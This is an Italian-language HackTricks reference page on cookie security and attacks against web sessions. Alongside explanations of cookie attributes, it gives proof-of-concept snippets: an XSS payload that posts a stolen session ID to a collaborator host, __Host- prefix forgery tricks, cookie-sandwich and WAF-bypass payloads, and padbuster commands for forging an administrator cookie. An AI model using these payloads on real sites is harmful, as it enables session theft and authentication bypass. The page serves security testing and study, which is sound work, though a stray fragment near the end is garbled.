Cookies Hacking

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

• Controlla i piani di abbonamento!
• Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
• Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.

Attributi dei Cookie

I cookie hanno diversi attributi che controllano il loro comportamento nel browser dell’utente. Ecco una panoramica di questi attributi in tono più neutro:

Expires and Max-Age

La data di scadenza di un cookie è determinata dall’attributo Expires. Al contrario, l’attributo Max-age definisce il tempo in secondi dopo il quale un cookie viene eliminato. Preferire Max-age in quanto riflette pratiche più moderne.

Domain

Gli host che ricevono un cookie sono specificati dall’attributo Domain. Per impostazione predefinita, questo è impostato sull’host che ha emesso il cookie, senza includere i suoi sottodomini. Tuttavia, quando l’attributo Domain è impostato esplicitamente, comprende anche i sottodomini. Ciò rende la specifica dell’attributo Domain un’opzione meno restrittiva, utile per scenari in cui è necessario condividere i cookie tra sottodomini. Ad esempio, impostando Domain=mozilla.org i cookie diventano accessibili sui suoi sottodomini come developer.mozilla.org.

Path

L’attributo Path indica un percorso URL specifico che deve essere presente nella URL richiesta affinché venga inviato l’intestazione Cookie. Questo attributo considera il carattere / come separatore di directory, permettendo anche le corrispondenze nelle sottodirectory.

Ordering Rules

Quando due cookie hanno lo stesso nome, quello scelto per l’invio si basa su:

• Il cookie che corrisponde al path più lungo nella URL richiesta.
• Il cookie impostato più di recente se i path sono identici.

SameSite

• L’attributo SameSite stabilisce se i cookie sono inviati su richieste che originano da domini di terze parti. Offre tre impostazioni:
• Strict: Impedisce che il cookie venga inviato su richieste di terze parti.
• Lax: Permette che il cookie venga inviato con richieste GET avviate da siti terzi.
• None: Consente al cookie di essere inviato da qualsiasi dominio di terze parti.

Ricordare che, durante la configurazione dei cookie, comprendere questi attributi aiuta a garantire che si comportino come previsto in diversi scenari.

Table from Invicti and slightly modified.
Un cookie con l’attributo SameSite mitigherà gli attacchi CSRF quando è richiesta una sessione autenticata.

*Notare che da Chrome80 (feb/2019) il comportamento predefinito di un cookie senza attributo samesite sarà Lax (https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/).
Notare che temporaneamente, dopo l’applicazione di questa modifica, i cookie senza una policy SameSite in Chrome saranno trattati come None durante i primi 2 minuti e poi come Lax per richieste POST cross-site top-level.

Flag dei Cookie

HttpOnly

Questo impedisce al client di accedere al cookie (ad esempio via Javascript: document.cookie)

Bypass

• Se la pagina sta inviando i cookie come risposta a una richiesta (ad esempio in una pagina PHPinfo), è possibile sfruttare una XSS per inviare una richiesta a quella pagina e rubare i cookie dalla risposta (vedere un esempio in https://blog.hackcommander.com/posts/2022/11/12/bypass-httponly-via-php-info-page/).
• Questo può essere bypassato con richieste TRACE HTTP poiché la risposta del server (se questo metodo HTTP è disponibile) rifletterà i cookie inviati. Questa tecnica è chiamata Cross-Site Tracking.
• Questa tecnica è evitata dai browser moderni non permettendo l’invio di una richiesta TRACE da JS. Tuttavia, sono stati trovati alcuni bypass in software specifici, come inviare \r\nTRACE invece di TRACE a IE6.0 SP2.
• Un altro metodo è lo sfruttamento di vulnerabilità zero-day dei browser.
• È possibile sovrascrivere i cookie HttpOnly eseguendo un attacco di Cookie Jar overflow:

Cookie Jar Overflow

• È possibile usare un attacco Cookie Smuggling per esfiltrare questi cookie
• Se qualsiasi endpoint lato server riflette il session ID grezzo nella risposta HTTP (es., dentro commenti HTML o un blocco di debug), è possibile bypassare HttpOnly usando un gadget XSS per richiedere quell’endpoint, applicare una regex al segreto ed esfiltrarlo. Esempio di pattern per payload XSS:

// Extract content between <!-- startscrmprint --> ... <!-- stopscrmprint -->
const re = /<!-- startscrmprint -->([\s\S]*?)<!-- stopscrmprint -->/;
fetch('/index.php?module=Touch&action=ws')
.then(r => r.text())
.then(t => { const m = re.exec(t); if (m) fetch('https://collab/leak', {method:'POST', body: JSON.stringify({leak: btoa(m[1])})}); });

Secure

La richiesta invierà il cookie solo se la richiesta HTTP è trasmessa su un canale sicuro (tipicamente HTTPS).

Prefissi dei cookie

I cookie prefissati con __Secure- devono essere impostati insieme al flag secure da pagine protette da HTTPS.

Per i cookie prefissati con __Host-, devono essere soddisfatte diverse condizioni:

• Devono essere impostati con il flag secure.
• Devono avere origine da una pagina protetta da HTTPS.
• È vietato specificare un dominio, impedendo la loro trasmissione a sottodomini.
• Il path per questi cookie deve essere impostato su /.

Vale la pena notare che i cookie prefissati con __Host- non possono essere inviati a superdomini o sottodomini. Questa restrizione aiuta a isolare i cookie dell’applicazione. Pertanto, usare il prefisso __Host- per tutti i cookie dell’applicazione può essere considerata una buona pratica per aumentare sicurezza e isolamento.

Sovrascrittura dei cookie

Quindi, una delle protezioni dei cookie prefissati con __Host- è impedire che vengano sovrascritti da sottodomini. Impedendo, per esempio, Cookie Tossing attacks. Nella talk Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities (paper) viene mostrato che era possibile impostare __HOST- prefixed cookies da un sottodominio ingannando il parser, per esempio aggiungendo “=” all’inizio o all’inizio e alla fine…:

Oppure in PHP era possibile aggiungere altri caratteri all’inizio del nome del cookie che sarebbero stati sostituiti da underscore, permettendo di sovrascrivere i cookie __HOST-:

Unicode whitespace cookie-name smuggling (prefix forgery)

Abusa delle discrepanze tra il parsing del browser e quello del server preponendo un code point di spazio Unicode al nome del cookie. Il browser non considererà il nome come se iniziasse letteralmente con __Host-/__Secure-, quindi permette l’impostazione da un sottodominio. Se il backend rimuove/normalizza gli spazi Unicode iniziali sulle chiavi dei cookie, vedrà il nome protetto e potrà sovrascrivere il cookie ad alto privilegio.

• PoC da un sottodominio che può impostare cookie del dominio padre:

document.cookie = `${String.fromCodePoint(0x2000)}__Host-name=injected; Domain=.example.com; Path=/;`;

• Comportamento tipico del backend che abilita il problema:

• Frameworks che trim/normalizzano le chiavi dei cookie. In Django, Python’s str.strip() rimuove un’ampia gamma di punti codice di whitespace Unicode, causando la normalizzazione del nome in __Host-name.

• I punti codice comunemente rimossi includono: U+0085 (NEL, 133), U+00A0 (NBSP, 160), U+1680 (5760), U+2000–U+200A (8192–8202), U+2028 (8232), U+2029 (8233), U+202F (8239), U+205F (8287), U+3000 (12288).

• Molti frameworks risolvono nomi di cookie duplicati come “last wins”, quindi il valore del cookie normalizzato controllato dall’attaccante sovrascrive quello legittimo.

• Le differenze tra browser sono importanti:

• Safari blocca whitespace Unicode multibyte nei nomi dei cookie (es. rifiuta U+2000) ma permette ancora i singoli byte U+0085 e U+00A0, che molti backend rimuovono. Testare su più browser.

• Impatto: Permette la sovrascrittura di cookie __Host-/__Secure- da contesti meno fidati (sottodomini), il che può portare a XSS (se riflesso), override del token CSRF, e session fixation.

• Esempio on-the-wire vs vista del server (U+2000 presente nel nome):

Cookie: __Host-name=Real;  __Host-name=<img src=x onerror=alert(1)>;

Molti backend suddividono/analizzano e poi rimuovono gli spazi, facendo sì che il __Host-name normalizzato assuma il valore dell’attaccante.

Legacy $Version=1 cookie splitting sui backend Java (prefix bypass)

Alcuni stack Java (es., Tomcat/Jetty-style) ancora abilitano il parsing legacy RFC 2109/2965 quando l’intestazione Cookie inizia con $Version=1. Questo può causare che il server reinterpreti una singola stringa di cookie come più cookie logici e accetti una voce __Host- contraffatta che era originariamente impostata da un sottodominio o anche da un’origine non sicura.

• PoC forcing legacy parsing:

document.cookie = `$Version=1,__Host-name=injected; Path=/somethingreallylong/; Domain=.example.com;`;

• Perché funziona:

• I controlli sul prefisso lato client vengono applicati durante l’impostazione, ma il parsing legacy lato server in seguito divide e normalizza l’header, bypassando l’intento delle garanzie di prefisso __Host-/__Secure-.

• Dove provare: Tomcat, Jetty, Undertow, o framework che ancora rispettano gli attributi RFC 2109/2965. Combina con la semantica di sovrascrittura per nomi duplicati.

Duplicate-name last-wins overwrite primitive

Quando due cookie vengono normalizzati nello stesso nome, molti backend (incluso Django) usano l’occorrenza finale. Dopo che lo smuggling/legacy-splitting produce due nomi __Host-*, quello controllato dall’attaccante tipicamente avrà la precedenza.

Detection and tooling

Usa Burp Suite per sondare queste condizioni:

• Prova più punti di codice Unicode whitespace all’inizio: U+2000, U+0085, U+00A0 e osserva se il backend taglia e tratta il nome come prefissato.
• Invia $Version=1 per primo nell’header Cookie e verifica se il backend esegue legacy splitting/normalizzazione.
• Osserva la risoluzione dei nomi duplicati (prima vs ultima occorrenza) iniettando due cookie che si normalizzano nello stesso nome.
• Burp Custom Action per automatizzare questo: CookiePrefixBypass.bambda

Tip: Queste tecniche sfruttano il gap octet-vs-string di RFC 6265: i browser inviano bytes; i server decodificano e possono normalizzare/tagliare. Le incongruenze nella decodifica e nella normalizzazione sono il nucleo del bypass.

Attacchi sui cookie

Se un cookie custom contiene dati sensibili controllalo (soprattutto se stai giocando a un CTF), perché potrebbe essere vulnerabile.

Decoding and Manipulating Cookies

I dati sensibili incorporati nei cookie dovrebbero sempre essere esaminati. I cookie codificati in Base64 o in formati simili possono spesso essere decodificati. Questa vulnerabilità permette agli attaccanti di alterare il contenuto del cookie e impersonare altri utenti ricodificando i dati modificati nel cookie.

Session Hijacking

Questo attacco comporta il furto del cookie di un utente per ottenere accesso non autorizzato al suo account all’interno di un’applicazione. Usando il cookie rubato, un attaccante può impersonare l’utente legittimo.

Session Fixation

In questo scenario, un attaccante induce una vittima a usare un cookie specifico per effettuare il login. Se l’applicazione non assegna un nuovo cookie al momento del login, l’attaccante, in possesso del cookie originale, può impersonare la vittima. Questa tecnica si basa sul fatto che la vittima effettui il login con un cookie fornito dall’attaccante.

Se hai trovato una XSS in un sottodominio o controlli un sottodominio, leggi:

Cookie Tossing

Session Donation

Qui, l’attaccante convince la vittima a usare il cookie di sessione dell’attaccante. La vittima, credendo di essere loggata nel proprio account, eseguirà involontariamente azioni nel contesto dell’account dell’attaccante.

Se hai trovato una XSS in un sottodominio o controlli un sottodominio, leggi:

Cookie Tossing

JWT Cookies

Clicca sul link precedente per accedere a una pagina che spiega i possibili difetti nei JWT.

I JSON Web Tokens (JWT) usati nei cookie possono anche presentare vulnerabilità. Per informazioni approfondite sui possibili difetti e su come sfruttarli, è consigliabile consultare il documento collegato su hacking JWT.

Cross-Site Request Forgery (CSRF)

Questo attacco costringe un utente autenticato a eseguire azioni indesiderate su un’applicazione web in cui è attualmente autenticato. Gli attaccanti possono sfruttare i cookie che vengono inviati automaticamente con ogni richiesta al sito vulnerabile.

Empty Cookies

(Check further details in theoriginal research) I browser consentono la creazione di cookie senza nome, cosa che può essere dimostrata tramite JavaScript come segue:

document.cookie = "a=v1"
document.cookie = "=test value;" // Setting an empty named cookie
document.cookie = "b=v2"

Il risultato nell’header cookie inviato è a=v1; test value; b=v2;. È interessante che questo permetta la manipolazione dei cookie se viene impostato un cookie con nome vuoto, potenzialmente permettendo di controllare altri cookie impostando il cookie vuoto su un valore specifico:

function setCookie(name, value) {
document.cookie = `${name}=${value}`
}

setCookie("", "a=b") // Setting the empty cookie modifies another cookie's value

Questo porta il browser a inviare un header cookie interpretato da ogni web server come un cookie chiamato a con valore b.

Chrome Bug: Problema con codepoint surrogato Unicode

In Chrome, se un codepoint surrogato Unicode fa parte di un cookie impostato, document.cookie viene corrotto, restituendo in seguito una stringa vuota:

document.cookie = "\ud800=meep"

Questo fa sì che document.cookie restituisca una stringa vuota, indicando una corruzione permanente.

Cookie Smuggling a causa di problemi di parsing

(Consulta ulteriori dettagli nellaoriginal research) Diversi web server, inclusi quelli Java (Jetty, TomCat, Undertow) e Python (Zope, cherrypy, web.py, aiohttp, bottle, webob), gestiscono in modo errato le stringhe dei cookie a causa del supporto obsoleto di RFC2965. Interpretano un valore di cookie racchiuso tra doppi apici come un unico valore anche se contiene semicolons, che normalmente dovrebbero separare coppie chiave-valore:

RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";

Cookie Injection Vulnerabilities

(Consulta ulteriori dettagli nellaoriginal research) L’errata interpretazione dei cookie da parte dei server, in particolare Undertow, Zope e quelli che usano Python’s http.cookie.SimpleCookie e http.cookie.BaseCookie, crea opportunità per cookie injection attacks. Questi server non delimitano correttamente l’inizio di nuovi cookie, permettendo agli attaccanti di spoof cookies:

• Undertow expects a new cookie immediately after a quoted value without a semicolon.
• Zope looks for a comma to start parsing the next cookie.
• Python’s cookie classes start parsing on a space character.

Questa vulnerabilità è particolarmente pericolosa nelle applicazioni web che si basano sulla protezione CSRF via cookie, poiché permette agli attaccanti di inject spoofed CSRF-token cookies, potenzialmente bypassando le contromisure di sicurezza. Il problema è aggravato dalla gestione dei nomi di cookie duplicati in Python, dove l’ultima occorrenza sovrascrive quelle precedenti. Solleva inoltre preoccupazioni per i cookie __Secure- e __Host- in contesti non sicuri e potrebbe portare a bypass di autorizzazione quando i cookie vengono passati a back-end suscettibili a spoofing.

Cookies $version

WAF Bypass

According to this blogpost, it might be possible to use the cookie attribute $Version=1 to make the backend use an old logic to parse the cookie due to the RFC2109. Moreover, other values just as $Domain and $Path can be used to modify the behaviour of the backend with the cookie.

Cookie Sandwich Attack

According to this blogpost it’s possible to use the cookie sandwich technique to steal HttpOnly cookies. These are the requirements and steps:

• Trova un punto dove un apparente cookie inutile viene riflesso nella risposta
• Create a cookie called $Version with value 1 (puoi farlo in un attacco XSS da JS) con un path più specifico in modo che ottenga la posizione iniziale (alcuni framework come Python non necessitano di questo passaggio)
• Create the cookie that is reflected con un valore che lascia una doppia virgoletta aperta e con un path specifico in modo che sia posizionato nel cookie db dopo il precedente ($Version)
• Poi, il cookie legittimo andrà subito dopo nell’ordine
• Create a dummy cookie that closes the double quotse all’interno del suo valore

In questo modo il cookie vittima viene intrappolato all’interno del nuovo cookie versione 1 e verrà riflesso ogni volta che viene riflesso. e.g. from the post:

document.cookie = `$Version=1;`;
document.cookie = `param1="start`;
// any cookies inside the sandwich will be placed into param1 value server-side
document.cookie = `param2=end";`;

WAF bypasses

Cookies $version

Vedi la sezione precedente.

Bypassing value analysis with quoted-string encoding

Questo parsing indica di interpretare le sequenze di escape nei valori dei cookie, quindi “\a” diventa “a”. Questo può essere utile per bypassare i WAFS come:

• eval('test') => forbidden
• "\e\v\a\l\(\'\t\e\s\t\'\)" => allowed

Bypassing cookie-name blocklists

Nella RFC2109 è indicato che una virgola può essere usata come separatore tra i valori dei cookie. È inoltre possibile aggiungere spazi e tab prima e dopo il segno di uguale. Pertanto un cookie come $Version=1; foo=bar, abc = qux non genera il cookie "foo":"bar, admin = qux" ma i cookie "foo":"bar" e "admin":"qux". Nota come vengono generati 2 cookie e come ad admin siano stati rimossi gli spazi prima e dopo il segno di uguale.

Bypassing value analysis with cookie splitting

Infine, diversi backdoors unirebbero in una singola stringa diversi cookie passati in intestazioni cookie separate, come in:

GET / HTTP/1.1
Host: example.com
Cookie: param1=value1;
Cookie: param2=value2;

Il che potrebbe consentire il bypass di un WAF, come in questo esempio:

Cookie: name=eval('test//
Cookie: comment')

Resulting cookie: name=eval('test//, comment') => allowed

Controlli aggiuntivi per cookie vulnerabili

Controlli di base

• Il cookie è uguale ogni volta che fai login.
• Log out e prova a usare lo stesso cookie.
• Prova a log in con 2 devices (o browsers) allo stesso account usando lo stesso cookie.
• Controlla se il cookie contiene informazioni e prova a modificarlo
• Prova a creare diversi accounts con username quasi identici e verifica se puoi vedere somiglianze.
• Controlla l’opzione “remember me” se esiste per vedere come funziona. Se esiste e potrebbe essere vulnerabile, usa sempre il cookie di remember me senza altri cookie.
• Verifica se il cookie precedente funziona anche dopo aver cambiato la password.

Attacchi avanzati ai cookie

Se il cookie rimane lo stesso (o quasi) quando fai log in, probabilmente significa che il cookie è relativo a qualche campo del tuo account (probabilmente lo username). Allora puoi:

• Prova a creare molti accounts con username molto simili e cerca di indovinare come funziona l’algoritmo.
• Prova a bruteforce lo username. Se il cookie serve solo come metodo di autenticazione per il tuo username, allora puoi creare un account con username “Bmin” e bruteforce ogni singolo bit del tuo cookie perché uno dei cookie che proverai sarà quello appartenente a “admin”.
• Prova Padding Oracle (puoi decifrare il contenuto del cookie). Usa padbuster.

Padding Oracle - Esempi di Padbuster

padbuster <URL/path/when/successfully/login/with/cookie> <COOKIE> <PAD[8-16]>
# When cookies and regular Base64
padbuster http://web.com/index.php u7bvLewln6PJPSAbMb5pFfnCHSEd6olf 8 -cookies auth=u7bvLewln6PJPSAbMb5pFfnCHSEd6olf

# If Base64 urlsafe or hex-lowercase or hex-uppercase --encoding parameter is needed, for example:
padBuster http://web.com/home.jsp?UID=7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6
7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6 8 -encoding 2

Padbuster effettuerà diversi tentativi e ti chiederà quale condizione è la condizione di errore (quella che non è valida).

Poi inizierà a decrypting the cookie (potrebbe richiedere diversi minuti)

Se l’attacco è stato eseguito con successo, allora potresti provare a encrypt una stringa a tua scelta. Per esempio, se volessi encrypt user=administrator

padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== 8 -cookies thecookie=1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== -plaintext user=administrator

Questa esecuzione ti restituirà il cookie correttamente criptato e codificato con la stringa user=administrator all’interno.

CBC-MAC

Un cookie potrebbe contenere un valore che viene firmato usando CBC. In questo caso l’integrità del valore è la firma creata utilizzando CBC sullo stesso valore. Poiché è comune usare come IV un vettore nullo, questo tipo di controllo di integrità potrebbe essere vulnerabile.

L’attacco

1. Ottieni la firma dello username administ = t
2. Ottieni la firma dello username rator\x00\x00\x00 XOR t = t’
3. Imposta nel cookie il valore administrator+t’ (t’ sarà una firma valida di (rator\x00\x00\x00 XOR t) XOR t = rator\x00\x00\x00

ECB

Se il cookie è cifrato usando ECB potrebbe essere vulnerabile.
Quando effettui il login il cookie che ricevi dovrebbe essere sempre lo stesso.

How to detect and attack:

Create 2 users with almost the same data (username, password, email, etc.) and try to discover some pattern inside the given cookie

Create a user called for example “aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa” and check if there is any pattern in the cookie (as ECB encrypts with the same key every block, the same encrypted bytes could appear if the username is encrypted).

There should be a pattern (with the size of a used block). So, knowing how are a bunch of “a” encrypted you can create a username: “a”*(size of the block)+“admin”. Then, you could delete the encrypted pattern of a block of “a” from the cookie. And you will have the cookie of the username “admin”.

Static-key cookie forgery (symmetric encryption of predictable IDs)

Alcune applicazioni creano cookie di autenticazione cifrando solo un valore prevedibile (es., il user ID numerico) con una chiave simmetrica globale hard-coded, poi codificando il ciphertext (hex/base64). Se la chiave è statica per prodotto (o per installazione), chiunque può forgiare cookie per utenti arbitrari offline e bypassare l’autenticazione.

How to test/forge

• Identify the cookie(s) that gate auth, e.g., COOKIEID and ADMINCOOKIEID.
• Determine cipher/encoding. In one real-world case the app used IDEA with a constant 16-byte key and returned the ciphertext as hex.
• Verify by encrypting your own user ID and comparing with the issued cookie. If it matches, you can mint cookies for any target ID (1 often maps to the first admin).
• Set the forged value directly as the cookie and browse; no credentials are needed.

</details>contesto (ad es., sessione lato server con ID casuale, o aggiungere proprietà anti-replay).

## Riferimenti

- [When Audits Fail: Four Critical Pre-Auth Vulnerabilities in TRUfusion Enterprise](https://www.rcesecurity.com/2025/09/when-audits-fail-four-critical-pre-auth-vulnerabilities-in-trufusion-enterprise/)
- [https://blog.ankursundara.com/cookie-bugs/](https://blog.ankursundara.com/cookie-bugs/)
- [https://www.linkedin.com/posts/rickey-martin-24533653_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd](https://www.linkedin.com/posts/rickey-martin-24533653_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd)
- [https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie](https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie)
- [https://seclists.org/webappsec/2006/q2/181](https://seclists.org/webappsec/2006/q2/181)
- [https://www.michalspacek.com/stealing-session-ids-with-phpinfo-and-how-to-stop-it](https://www.michalspacek.com/stealing-session-ids-with-phpinfo-and-how-to-stop-it)
- [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
- [Cookie Chaos: How to bypass __Host and __Secure cookie prefixes](https://portswigger.net/research/cookie-chaos-how-to-bypass-host-and-secure-cookie-prefixes)
- [Burp Custom Action – CookiePrefixBypass.bambda](https://github.com/PortSwigger/bambdas/blob/main/CustomAction/CookiePrefixBypass.bambda)

> [!TIP]
> Impara e pratica il hacking AWS:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Impara e pratica il hacking GCP: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Impara e pratica il hacking Azure: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Supporta HackTricks</summary>
>
> - Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
> - **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos github.
>
> </details>